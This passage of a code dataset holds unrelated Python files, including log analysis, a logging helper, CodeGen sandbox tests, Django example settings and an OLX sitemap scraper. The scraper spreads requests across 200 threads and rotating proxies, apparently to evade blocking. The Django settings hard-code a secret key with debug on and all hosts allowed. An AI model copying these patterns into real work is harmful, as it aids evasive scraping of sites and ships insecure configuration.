ipKey = 0\r\n ip_dictionary[ipKey] = ip_dictionary.get(ipKey, 0) + 1\r\n return ip_dictionary\r\n\r\n\r\ndef ip_find(d, most_active=True):\r\n ip_find_List = []\r\n if most_active == True:\r\n maxValue = max(d.values())\r\n for ip in d:\r\n if d[ip] == maxValue:\r\n ip_find_List.append((ip, d[ip]))\r\n print(\"Max Value\")\r\n print(maxValue)\r\n\r\n else:\r\n minValue = min(d.values())\r\n for ip in d:\r\n if d[ip] == minValue:\r\n ip_find_List.append((ip, d[ip]))\r\n print(\"Min Value\")\r\n print(minValue)\r\n\r\n\r\ndef longest_request(dict):\r\n max = 0\r\n ip = {}\r\n longest_request_line = {}\r\n for x in dict:\r\n if len(x) > max:\r\n ip = x.split()\r\n max = len(x)\r\n longest_request_line = x\r\n longest_request_line = {\r\n \"ip\": ip,\r\n \"length\": max,\r\n \"x\": longest_request_line\r\n }\r\n return longest_request_line\r\n\r\n\r\ndef non_existent(dict):\r\n rSet = set()\r\n for x in dict:\r\n http_code = dict[x]\r\n http_code = http_code.split()\r\n http_error = 0\r\n request = x\r\n if http_error == \"404\":\r\n rSet.append(request)\r\n return rSet\r\n\r\n\r\nif __name__ == \"__main__\":\r\n run()","repo_name":"1rahulvijay/script-languages","sub_path":"Lab4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"25130070679","text":"#!/usr/bin/env python\n# -*-coding:utf-8-*-\n'''\nauthor : shenshuo\ndate : 2018年2月5日13:37:54\nrole : 运维日志\n'''\n\nimport logging\nimport os\n\n###写日志类\nclass Log:\n def __init__(self, log_flag='yunwei', log_file='/log/yunwei/yunwei.log'):\n self.logFlag = log_flag\n self.logFile = log_file\n\n def write_log(self, log_level, log_message):\n ###创建一个logger\n logger = logging.getLogger(self.logFlag)\n logger.setLevel(logging.DEBUG)\n\n ###建立日志目录\n log_dir = os.path.dirname(self.logFile)\n if not os.path.isdir(log_dir):\n os.makedirs(log_dir)\n\n ###创建一个handler用于写入日志文件\n fh = logging.FileHandler(self.logFile)\n fh.setLevel(logging.DEBUG)\n\n ###创建一个handler用于输出到终端\n th = logging.StreamHandler()\n th.setLevel(logging.DEBUG)\n\n ###定义handler的输出格式\n formatter = logging.Formatter('%(asctime)s %(name)s %(levelname)s %(message)s')\n fh.setFormatter(formatter)\n\n ###给logger添加handler\n logger.addHandler(fh)\n logger.addHandler(th)\n\n ###记录日志\n level_dic = {'debug': logger.debug, 'info': logger.info, 'warning': logger.warning, 'error': logger.error,\n 'critical': logger.critical}\n level_dic[log_level](log_message)\n\n ###删除重复记录\n fh.flush()\n logger.removeHandler(fh)\n\n th.flush()\n logger.removeHandler(th)\n\nif __name__ == \"__main__\":\n pass","repo_name":"ss1917/ops_sdk","sub_path":"opssdk/logs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"72"} +{"seq_id":"71334804392","text":"def gsBasis(A) :\n B = np.array(A, dtype=np.float_) # Make B as a copy of A, since we're going to alter it's values.\n # Loop over all vectors, starting with zero, label them with i\n for i in range(B.shape[1]) :\n # Inside that loop, loop over all previous vectors, j, to subtract.\n for j in range(i) :\n # Complete the code to subtract the overlap with previous vectors.\n # you'll need the current vector B[:, i] and a previous vector B[:, j]\n B[:, i] = B[:,i] - B[:,i] @ B[:,j] * B[:,j]\n # Next insert code to do the normalisation test for B[:, i]\n if la.norm(B[:, i]) > verySmallNumber :\n B[:, i] = B[:, i] / la.norm(B[:, i])\n else:\n B[:, i] = np.zeros_like(B[:, i])\n \n \n # Finally, we return the result:\n return B\n\n# This function uses the Gram-schmidt process to calculate the dimension\n# spanned by a list of vectors.\n# Since each vector is normalised to one, or is zero,\n# the sum of all the norms will be the dimension.\ndef dimensions(A) :\n return np.sum(la.norm(gsBasis(A), axis=0))\n","repo_name":"charchit7/applied_math","sub_path":"gram_schmidt_process.py","file_name":"gram_schmidt_process.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17815323151","text":"from pathlib import Path\n\nimport os\n\nfrom codegen_sources.preprocessing.lang_processors import LangProcessor\nfrom codegen_sources.code_runners.test_runners import CppInputOutputEvaluator\n\ncpp_processor = LangProcessor.processors[\"cpp\"]()\n\n\nADDITION_PROGRAM = \" \".join(\n cpp_processor.tokenize_code(\n \"\"\"#include \n\nusing namespace std;\nint main() {\n int a, b;\n cin >> a >> b;\n cout << a + b << endl;\n}\"\"\"\n )\n)\n\n\ndef test_runner_on_addition_success():\n cpp_runner = CppInputOutputEvaluator()\n res, tests, failures, res_list = cpp_runner.check_outputs(\n ADDITION_PROGRAM,\n inputs=[\"1 2\", \"0 0\"],\n outputs=[\"3\\n\", \"0\\n\"],\n truncate_errors=None,\n )\n assert res == \"success\", (res, tests, failures)\n assert tests == 2\n assert failures == 0\n\n\ndef test_compilation_error():\n cpp_runner = CppInputOutputEvaluator()\n res, tests, failures, res_list = cpp_runner.check_outputs(\n ADDITION_PROGRAM.replace(\"int a\", \"a\"),\n inputs=[\"1 2\", \"0 0\"],\n outputs=[\"3\\n\", \"0\\n\"],\n truncate_errors=None,\n )\n assert res.startswith(\"compilation\"), (res, tests, failures)\n assert tests == 2\n assert failures == 2\n\n\ndef test_runner_on_addition_wrong_output_failure():\n cpp_runner = CppInputOutputEvaluator()\n res, tests, failures, res_list = cpp_runner.check_outputs(\n ADDITION_PROGRAM,\n inputs=[\"1 2\", \"0 0\"],\n outputs=[\"3\\n\", \"1\\n\"],\n truncate_errors=None,\n )\n assert res == \"failure: actual 0 vs expected 1\", (res, tests, failures, res_list)\n assert tests == 2\n assert failures == 1\n assert res_list[-1] == \"failure: actual 0 vs expected 1\"\n\n\ndef test_compilation_timeout():\n cpp_runner = CppInputOutputEvaluator(compilation_timeout=0.1)\n res, tests, failures, res_list = cpp_runner.check_outputs(\n ADDITION_PROGRAM,\n inputs=[\"1 2\", \"0 0\"],\n outputs=[\"3\\n\", \"0\\n\"],\n truncate_errors=None,\n )\n assert res == \"compilation timeout: Compilation Timeout\", (res, tests, failures)\n assert tests == 2\n assert failures == 2\n\n\ndef test_runtime_timeout():\n cpp_runner = CppInputOutputEvaluator(timeout=1)\n res, tests, failures, res_list = cpp_runner.check_outputs(\n \"#include \\n\"\n + ADDITION_PROGRAM.replace(\"main ( ) {\", \"main ( ) { sleep( 10 ) ;\"),\n inputs=[\"1 2\"],\n outputs=[\"3\\n\"],\n truncate_errors=None,\n )\n assert res == \"timeout: \", (res, tests, failures)\n assert tests == 1\n assert failures == 1\n\n\ndef test_firejail_keeps_from_writing():\n if os.environ.get(\"CI\", False):\n return\n cpp_runner = CppInputOutputEvaluator(timeout=20)\n test_out_path = Path(__file__).parent.joinpath(\n \"test_output_should_not_be_written_cpp.out\"\n )\n if test_out_path.exists():\n os.remove(test_out_path)\n write_to_file = (\n \"\"\"#include \n#include \n\nusing namespace std;\nint main() {\n ofstream myfile;\n myfile.open (\"%s\");\n myfile << \"hello\" << endl;\n return 1;\n }\n\"\"\"\n % test_out_path\n )\n write_to_file = \" \".join(cpp_processor.tokenize_code(write_to_file))\n res, tests, failures, res_list = cpp_runner.check_outputs(\n write_to_file, inputs=[\"\"], outputs=[\"\"], truncate_errors=None\n )\n assert not test_out_path.is_file(), f\"{test_out_path} should not have been written\"\n assert res == \"success\", (res, tests, failures)\n assert tests == 1\n assert failures == 0\n","repo_name":"facebookresearch/CodeGen","sub_path":"codegen_sources/code_runners/test_runners/tests/test_input_output_runners/test_cpp_io_evaluators.py","file_name":"test_cpp_io_evaluators.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"en","doc_type":"code","stars":617,"dataset":"github-code","pt":"72"} +{"seq_id":"24543621175","text":"import cv2\nimport os\nimport numpy as np\nimport PIL.Image as Image\nimport datetime\nfrom pynput import keyboard\n\n\ncap = cv2.VideoCapture(0)\ncap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\ncap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\nif not cap.isOpened():\n print(\"Cannot open camera\")\n exit()\n\n\ndef on_press(key):\n try:\n if key.char == \"q\":\n global close\n close = True\n\n except AttributeError:\n if key == keyboard.Key.space:\n save_image()\n\n\ndef save_image():\n date_now = str(datetime.datetime.utcnow()).replace(\" \", \"_\")\n print(date_now)\n file = open(f\"{date_now}.txt\", \"w\")\n file.write(final_image)\n file.close()\n\n\ndef on_release(key):\n pass\n\n\ndef resize(image) -> Image.Image:\n original_width, original_height = image.size\n aspect_ratio = original_width / original_height\n new_height = 100\n new_width = 150\n # new_width = int(new_height * aspect_ratio)\n return image.resize((new_width, new_height), Image.LANCZOS)\n\n\ndef grayify(image) -> Image.Image:\n return image.convert(\"L\")\n\n\ndef pixel_to_ascii(image) -> None:\n image_from_array = Image.fromarray(image)\n processed_image = grayify(resize(image_from_array))\n array_of_pixels = np.array(processed_image)\n average = np.average(array_of_pixels)\n contrast = int(40 - 30 * ((256 - average) / 256))\n\n # An array of ascii chars of descending intensity\n ASCII_CHARS = (\n \"$@B%8&WM#*oahkbdpqwmZO0QLCJUYXzcvunxrjft/|\"\n \"()1{}[]?-_+~<>i!lI;:,\\\"^`'. \"\n )\n ASCII_CHARS = ASCII_CHARS[: -41 + contrast]\n\n n = len(ASCII_CHARS)\n indexes = np.floor(array_of_pixels / 256 * n)\n ascii_image = \"\"\n for i in range(0, array_of_pixels.shape[0]):\n for j in range(0, array_of_pixels.shape[1]):\n k = int(indexes[i, j])\n ascii_char = ASCII_CHARS[n - 1 - k]\n ascii_image += ascii_char\n ascii_image += \"\\n\"\n # os.system(\"clear\")\n global final_image\n final_image = ascii_image\n print(ascii_image)\n print()\n print()\n print(f\"Press space to click a picture! {' '*30} Press q to quit\")\n # print(contrast)\n\n\nlistener = keyboard.Listener(on_press=on_press, on_release=on_release)\nlistener.start()\n\n\nclose = False\nwhile not close:\n # Capture frame-by-frame\n ret, frame = cap.read()\n frame = cv2.flip(frame, 1)\n # if frame is read correctly ret is True\n if not ret:\n print(\"Can't receive frame (stream end?). Exiting ...\")\n break\n # Our operations on the frame come here\n pixel_to_ascii(frame)\n # Display the resulting frame\n # cv.imshow(\"Image to ASCII\", gray)\n if cv2.waitKey(1) == ord(\"q\"):\n break\n if close:\n os.system(\"cls\" if os.name == \"nt\" else \"clear\")\n exit()\n# When everything done, release the capture\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"suprabhatrijal/ascii_cam","sub_path":"ascii_video.py","file_name":"ascii_video.py","file_ext":"py","file_size_in_byte":2884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14202306229","text":"\"\"\"\nDjango settings for simple project.\n\nFor more information on this file, see\nhttps://docs.djangoproject.com/en/1.7/topics/settings/\n\nFor the full list of settings and their values, see\nhttps://docs.djangoproject.com/en/1.7/ref/settings/\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\nimport sys\n\nfrom django_nine import versions\n\nfrom .core import PROJECT_DIR, gettext\n\nBASE_DIR = os.path.dirname(os.path.dirname(__file__))\n\ntry:\n from .local_settings import DEBUG_TEMPLATE\nexcept Exception as err:\n DEBUG_TEMPLATE = False\n\ntry:\n from .local_settings import USE_CACHED_TEMPLATE_LOADERS\nexcept Exception as err:\n USE_CACHED_TEMPLATE_LOADERS = False\n\nif USE_CACHED_TEMPLATE_LOADERS:\n\n _TEMPLATE_LOADERS = [\n (\n \"django.template.loaders.cached.Loader\",\n (\n \"django.template.loaders.filesystem.Loader\",\n \"django.template.loaders.app_directories.Loader\",\n ),\n ),\n ]\nelse:\n\n _TEMPLATE_LOADERS = [\n \"django.template.loaders.filesystem.Loader\",\n \"django.template.loaders.app_directories.Loader\",\n ]\n\nif versions.DJANGO_GTE_1_10:\n TEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n # 'APP_DIRS': True,\n \"DIRS\": [PROJECT_DIR(os.path.join(\"..\", \"templates\"))],\n \"OPTIONS\": {\n \"context_processors\": [\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.request\",\n \"django.contrib.auth.context_processors.auth\",\n \"django.contrib.messages.context_processors.messages\",\n \"django_nine.context_processors.versions\",\n ],\n \"loaders\": _TEMPLATE_LOADERS,\n \"debug\": DEBUG_TEMPLATE,\n },\n },\n ]\nelif versions.DJANGO_GTE_1_8:\n TEMPLATES = [\n {\n \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n # 'APP_DIRS': True,\n \"DIRS\": [PROJECT_DIR(os.path.join(\"..\", \"templates\"))],\n \"OPTIONS\": {\n \"context_processors\": [\n \"django.contrib.auth.context_processors.auth\",\n \"django.template.context_processors.debug\",\n \"django.template.context_processors.i18n\",\n \"django.template.context_processors.media\",\n \"django.template.context_processors.static\",\n \"django.template.context_processors.tz\",\n \"django.contrib.messages.context_processors.messages\",\n \"django.template.context_processors.request\",\n \"django_nine.context_processors.versions\",\n ],\n \"loaders\": _TEMPLATE_LOADERS,\n \"debug\": DEBUG_TEMPLATE,\n },\n },\n ]\nelse:\n TEMPLATE_DEBUG = DEBUG_TEMPLATE\n\n # List of callables that know how to import templates from various\n # sources.\n TEMPLATE_LOADERS = _TEMPLATE_LOADERS\n\n TEMPLATE_CONTEXT_PROCESSORS = (\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.core.context_processors.tz\",\n \"django.contrib.messages.context_processors.messages\",\n \"django.core.context_processors.request\",\n \"django_nine.context_processors.versions\",\n )\n\n TEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or\n # \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n PROJECT_DIR(os.path.join(\"..\", \"templates\")),\n )\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.7/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = \"uzc&9xi6b#dz^z7tpa+br3ohq)-9%v9ux@9^t!(5fl41n%&mn$\"\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\nDEV = False\n\nALLOWED_HOSTS = [\n \"*\",\n]\n\n# Application definition\n\nINSTALLED_APPS = (\n \"django.contrib.admin\",\n \"django.contrib.auth\",\n \"django.contrib.contenttypes\",\n \"django.contrib.sessions\",\n \"django.contrib.messages\",\n \"django.contrib.staticfiles\",\n)\n\nMIDDLEWARE_CLASSES = (\n \"django.contrib.sessions.middleware.SessionMiddleware\",\n \"django.middleware.common.CommonMiddleware\",\n \"django.middleware.csrf.CsrfViewMiddleware\",\n \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n \"django.contrib.auth.middleware.SessionAuthenticationMiddleware\",\n \"django.contrib.messages.middleware.MessageMiddleware\",\n \"django.middleware.clickjacking.XFrameOptionsMiddleware\",\n)\n\nROOT_URLCONF = \"urls\"\n\nWSGI_APPLICATION = \"simple.wsgi.application\"\n\n\n# Database\n# https://docs.djangoproject.com/en/1.7/ref/settings/#databases\n\nDATABASES = {\n \"default\": {\n \"ENGINE\": \"django.db.backends.sqlite3\",\n \"NAME\": os.path.join(BASE_DIR, \"db.sqlite3\"),\n }\n}\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.7/topics/i18n/\n\nLANGUAGE_CODE = \"en\"\n\nTIME_ZONE = \"UTC\"\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.7/howto/static-files/\n\nSTATIC_URL = \"/static/\"\n\n# Do not put any settings below this line\ntry:\n from .local_settings import *\nexcept Exception as err:\n pass\n\n# Make the `django-nine` package available without installation.\nif DEV:\n nine_source_path = os.environ.get(\"NINE_SOURCE_PATH\", \"src\")\n # sys.path.insert(0, os.path.abspath('src'))\n sys.path.insert(0, os.path.abspath(nine_source_path))\n","repo_name":"barseghyanartur/django-nine","sub_path":"examples/simple/simple/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"25902665666","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('preprocessing', '0007_auto_20170530_1125'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Route_Related_Grid',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('route_id', models.IntegerField(verbose_name=b'\\xe9\\x81\\x93\\xe8\\xb7\\xafID')),\n ('grid_ids', models.TextField(verbose_name=b'\\xe9\\x81\\x93\\xe8\\xb7\\xaf\\xe7\\xbb\\x8f\\xe8\\xbf\\x87\\xe7\\x9a\\x84\\xe7\\xbd\\x91\\xe6\\xa0\\xbcID\\xe5\\x88\\x97\\xe8\\xa1\\xa8')),\n ],\n ),\n ]\n","repo_name":"15101538237ren/AccidentsPrediction","sub_path":"preprocessing/migrations/0008_route_related_grid.py","file_name":"0008_route_related_grid.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30079062826","text":"import pdb\nimport requests\nimport random\nfrom lxml import html\nfrom queue import Queue\nfrom concurrent.futures import ThreadPoolExecutor\nfrom time import sleep\n\n\nbase_sitemap = 'https://www.olx.ua/sitemap_single.xml'\nresult_file = 'urls_olx.txt'\n\ntreads = 200\n\nproxy_key = 'xxxx'\nproxy_url = \"http://api.best-proxies.ru/proxylist.txt?key={}&limit=0&type=http,https\".format(proxy_key)\n\n\nheaders = {\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\n \"Accept-Encoding\": \"gzip, deflate, sdch, br\",\n \"Accept-Language\": \"en-US;q=0.6,en;q=0.4\",\n \"Cache-Control\": \"max-age=0\",\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0\"\n}\n\n\nclass Proxy:\n def __init__(self, host, port):\n self.host = str(host)\n self.port = int(port)\n self.row = '{host}:{port}'.format(host=host, port=port)\n\n def __str__(self):\n return ''.format(self.row)\n\n\ndef get_code(url, proxy=None):\n proxies = {'https': 'https://{}'.format(proxy.row), 'http': 'http://{}'.format(proxy.row)} if proxy else None\n # print('GET from', proxy, '-->', url)\n resp = requests.get(url, headers=headers, timeout=600, proxies=proxies)\n assert resp.status_code == 200\n return resp.content\n\n\ndef get_links(code):\n if b'sitemapindex' in code:\n _type = 'sitemapindex'\n urls = html.fromstring(code).xpath('//sitemap/loc/text()')\n else:\n _type = 'urls'\n urls = html.fromstring(code).xpath('//url/loc/text()')\n return _type, urls\n\n\ndef worker(urls_q, proxies_q, proxies_q_good):\n while urls_q.qsize():\n # Get proxy server from Queue and make proxy row string\n if not proxies_q_good.empty():\n proxy = proxies_q_good.get()\n else:\n if not proxies_q.empty():\n proxy = proxies_q.get()\n else:\n sleep(2)\n continue\n\n # Get link\n map_link = urls_q.get()\n\n # Make http request with proxy\n try:\n content = get_code(map_link, proxy)\n assert b'sitemaps.org' in content\n except Exception:\n # print(type(e3), e3, '[worker, code.Exception]', map_link)\n urls_q.put(map_link)\n continue\n\n # If proxy is working put it into good (working) proxies Queue again\n proxies_q_good.put_nowait(proxy)\n\n # Create dictionary data, to save it into database\n try:\n data = get_links(content)\n if data[0] == 'sitemapindex':\n for u in data[1]:\n urls_q.put_nowait(u)\n else:\n with open(result_file, 'a', encoding='utf-8') as file:\n for u in data[1]:\n file.write(u+'\\n')\n print('[OK]', proxy.row, '-->', map_link,\n '| WPQ:', proxies_q_good.qsize(), '| APQ:', proxies_q.qsize(), '| URLsQ:', urls_q.qsize())\n except Exception as e4:\n print(type(e4), e4, '[data_formatting Exception]', map_link)\n\n\ndef first(urls_q):\n content = get_code(base_sitemap)\n try:\n data = get_links(content)\n if data[0] == 'sitemapindex':\n for u in data[1]:\n urls_q.put_nowait(u)\n print('Find', urls_q.qsize(), 'sitemaps')\n else:\n with open(result_file, 'a', encoding='utf-8') as f:\n for u in data[1]:\n f.write(u + '\\n')\n print('Done!', len(data[1]), 'urls')\n except Exception as e:\n print(type(e), e)\n\n\ndef find_proxies(urls_q, proxies_q):\n while urls_q.qsize():\n if proxies_q.qsize() < treads:\n print('Start finding proxies.')\n try:\n code = get_code(proxy_url).decode('utf-8')\n proxies = [(x.split(':')[0], x.split(':')[1]) for x in code.split('\\r\\n') if x]\n random.shuffle(proxies)\n print(proxies[:10], len(proxies))\n except Exception as e1:\n print(type(e1), e1, '[Can not get proxies by API from source]')\n proxies = []\n try:\n for p in proxies:\n proxies_q.put_nowait(Proxy(host=p[0], port=p[1]))\n print('Proxies Queue Size: ', proxies_q.qsize())\n except Exception as e2:\n print(type(e2), e2, '[Exception in ProxyBroker]')\n sleep(5)\n\n\ndef main():\n urls_q = Queue()\n first(urls_q)\n proxies_q = Queue()\n proxies_q_good = Queue()\n\n with ThreadPoolExecutor(max_workers=treads+1) as executor:\n executor.submit(find_proxies, urls_q, proxies_q)\n for i in range(treads):\n executor.submit(worker, urls_q, proxies_q, proxies_q_good)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"vvscode/py--notes","sub_path":"py4seo/sources/sitemaper/sitemaper2.py","file_name":"sitemaper2.py","file_ext":"py","file_size_in_byte":4815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"512500619","text":"import pprint\nimport re\n\nREG = re.compile(r'^p=<(?P(-)?[0-9]+),(?P(-)?[0-9]+),(?P(-)?[0-9]+)>, v=<(?P(-)?[0-9]+),(?P(-)?[0-9]+),(?P(-)?[0-9]+)>, a=<(?P(-)?[0-9]+),(?P(-)?[0-9]+),(?P(-)?[0-9]+)>')\n\nwith open('day20.in', 'r') as f:\n inp = f.readlines()\n\n\ndef step(data):\n for p in data:\n # Apply accelleration\n p['v']['x'] += p['a']['x']\n p['v']['y'] += p['a']['y']\n p['v']['z'] += p['a']['z']\n\n # Apply velocity\n p['p']['x'] += p['v']['x']\n p['p']['y'] += p['v']['y']\n p['p']['z'] += p['v']['z']\n\n # Check collisions\n for i, p in enumerate(data):\n to_disable = set()\n for j, q in enumerate(data):\n if not p['collision'] and not q['collision']:\n if i != j and (p['p']['x'] == q['p']['x'] and p['p']['y'] == q['p']['y'] and p['p']['z'] == q['p']['z']):\n to_disable.add(j)\n to_disable.add(i)\n for x in to_disable:\n data[x]['collision'] = True\n\n return data\n\n\ndef manhattan_distances(data):\n distances = []\n for p in data:\n distances.append(abs(p['p']['x']) + abs(p['p']['y']) + abs(p['p']['z']))\n return distances\n\n\ndef can_stop(data):\n stop = True\n for p in data:\n c1 = (p['p']['x'] < 0 and p['v']['x'] <= 0 and p['a']['x'] <= 0) or (p['p']['x'] >= 0 and p['v']['x'] >= 0 and p['a']['x'] >= 0)\n c2 = (p['p']['y'] < 0 and p['v']['y'] <= 0 and p['a']['y'] <= 0) or (p['p']['y'] >= 0 and p['v']['y'] >= 0 and p['a']['y'] >= 0)\n c3 = (p['p']['z'] < 0 and p['v']['z'] <= 0 and p['a']['z'] <= 0) or (p['p']['z'] >= 0 and p['v']['z'] >= 0 and p['a']['z'] >= 0)\n if not (c1 and c2 and c3):\n stop = False\n #print(\"Preventing stop:\")\n #pprint.pprint(p)\n return stop\n\n\ndata = []\nfor l in inp:\n match = REG.match(l)\n if match:\n data.append({\n 'p': {'x': int(match.group('px')), 'y': int(match.group('py')), 'z': int(match.group('pz'))},\n 'v': {'x': int(match.group('vx')), 'y': int(match.group('vy')), 'z': int(match.group('vz'))},\n 'a': {'x': int(match.group('ax')), 'y': int(match.group('ay')), 'z': int(match.group('az'))},\n 'collision': False\n })\n\ncondition = True\ns_count = 0\nwhile condition:\n data = step(data)\n condition = not can_stop(data)\n s_count += 1\n #pprint.pprint(data)\n\ndistances = manhattan_distances(data)\nminimum_i = None\nminimum_v = None\nfor i, v in enumerate(distances):\n if minimum_i is None or minimum_v is None or minimum_v > v:\n minimum_i = i\n minimum_v = v\n\nprint(\"Minimum manhattan distance: point {} ({}):\".format(minimum_i, minimum_v))\npprint.pprint(data[minimum_i])\nprint(\"{} points have not collided\".format(len([x for x in data if not x['collision']])))\nprint(\"Simulated {} steps\".format(s_count))\n","repo_name":"Kurocon/AdventOfCode2017","sub_path":"day20.py","file_name":"day20.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3905548436","text":"import io\nimport sys\nimport json\nimport pathlib\nimport tempfile\nimport importlib\nimport contextlib\n\nfrom dffml.cli.cli import CLI\nfrom dffml import (\n DataFlow,\n Input,\n run,\n chdir,\n AsyncTestCase,\n)\n\nECHO_STRING = \"\"\"\ndef echo_string(input_string: str) -> str:\n return \"Echo: \" + input_string\n\"\"\"\n\nECHO_STRINGS = \"\"\"\nfrom typing import AsyncIterator\n\nasync def echo_strings(input_string: str) -> AsyncIterator[str]:\n for i in range(0, 5):\n yield f\"Echo({i}): {input_string}\"\n\"\"\"\n\n\nclass TestDataflowCreate(AsyncTestCase):\n @staticmethod\n @contextlib.asynccontextmanager\n async def make_dataflow(ops, operations, inputs):\n # Create temp dir and write op to ops.py\n with tempfile.TemporaryDirectory() as tmpdirname:\n # Change directory into the tempdir\n with chdir(tmpdirname):\n # Write out op to op.py\n pathlib.Path(tmpdirname, \"ops.py\").write_text(ops)\n # Reload contents\n sys.path.insert(0, tmpdirname)\n module = importlib.import_module(\"ops\")\n importlib.reload(module)\n sys.path.pop(0)\n # $ dffml dataflow create $operations -inputs $inputs\n with io.StringIO() as dataflow:\n with contextlib.redirect_stdout(dataflow):\n await CLI.cli(\n \"dataflow\",\n \"create\",\n *operations,\n \"-inputs\",\n *inputs,\n )\n yield DataFlow._fromdict(**json.loads(dataflow.getvalue()))\n\n async def test_single(self):\n operation_qualname = \"ops:echo_string\"\n async with self.make_dataflow(\n ECHO_STRING,\n [operation_qualname, \"get_single\"],\n [\"ops:echo_string.outputs.result,=get_single_spec\"],\n ) as dataflow:\n # Make sure the operation is in the dataflow\n self.assertIn(operation_qualname, dataflow.operations)\n # Definitions for shorthand access\n idef = dataflow.operations[operation_qualname].inputs[\n \"input_string\"\n ]\n odef = dataflow.operations[operation_qualname].outputs[\"result\"]\n # Run the dataflow\n async for ctx_str, results in run(\n dataflow,\n [Input(value=\"Irregular at magic school\", definition=idef,)],\n ):\n self.assertIn(odef.name, results)\n self.assertEqual(\n results[odef.name], \"Echo: Irregular at magic school\",\n )\n\n async def test_gen(self):\n operation_qualname = \"ops:echo_strings\"\n async with self.make_dataflow(\n ECHO_STRINGS,\n [operation_qualname, \"get_multi\"],\n [\"ops:echo_strings.outputs.result,=get_multi_spec\"],\n ) as dataflow:\n # Make sure the operation is in the dataflow\n self.assertIn(operation_qualname, dataflow.operations)\n # Definitions for shorthand access\n idef = dataflow.operations[operation_qualname].inputs[\n \"input_string\"\n ]\n odef = dataflow.operations[operation_qualname].outputs[\"result\"]\n # Run the dataflow\n async for ctx_str, results in run(\n dataflow,\n [Input(value=\"Irregular at magic school\", definition=idef,)],\n ):\n self.assertIn(odef.name, results)\n self.assertListEqual(\n results[odef.name],\n [\n f\"Echo({i}): Irregular at magic school\"\n for i in range(0, 5)\n ],\n )\n","repo_name":"intel/dffml","sub_path":"tests/df/test_df_create.py","file_name":"test_df_create.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","stars":232,"dataset":"github-code","pt":"72"} +{"seq_id":"2728092397","text":"import luigi\nfrom luigi.util import requires\nimport numpy as np\nfrom pyzsl.data.awa.paths import AWAPaths, TmpPaths\nfrom pyzsl.utils.luigi import Wrapper, MkdirTask, DownloadTask, \\\n UnpackTask, local_targets\nfrom pyzsl.utils.general import json_dump, json_load, \\\n numpy_array_from_text, readlines\nfrom functools import partial\n\n\nclass AWATask(luigi.Task):\n \"\"\" This task provides path and tmp_path property to all tasks. \"\"\"\n path = luigi.Parameter() # type: str\n @property\n def paths(self) -> AWAPaths:\n return AWAPaths(self.path, as_str=True)\n\n @property\n def tmp_paths(self) -> TmpPaths:\n return TmpPaths(self.paths.tmp, as_str=True)\n\n\nclass DirectoryStructureTask(luigi.WrapperTask, AWATask):\n def requires(self):\n mkdir_paths = [\n self.paths.tmp\n , self.paths.raw\n , self.paths.features\n , self.paths.labels\n , self.paths.indices\n , self.paths.descriptions\n , self.paths.metadata\n ]\n\n ret = [MkdirTask(dirname=d) for d in mkdir_paths]\n return ret\n\nclass GetRawDataTask(luigi.WrapperTask, AWATask):\n def _base_data(self):\n url = \"https://cvml.ist.ac.at/AwA2/AwA2-base.zip\"\n return DownloadTask(url=url, path=self.paths.base_zip,\n md5=\"27998437f72823d8ac314257682b57ca\")\n\n def _img_features(self):\n url = \"http://cvml.ist.ac.at/AwA2/AwA2-features.zip\"\n return DownloadTask(url=url, path=self.paths.features_zip,\n md5=\"b1735c7b8a9044b1d51903b4c9e9fcd5\")\n\n def _xlsa(self):\n url = 'https://datasets.d2.mpi-inf.mpg.de/xian/xlsa17.zip'\n return DownloadTask(url=url, 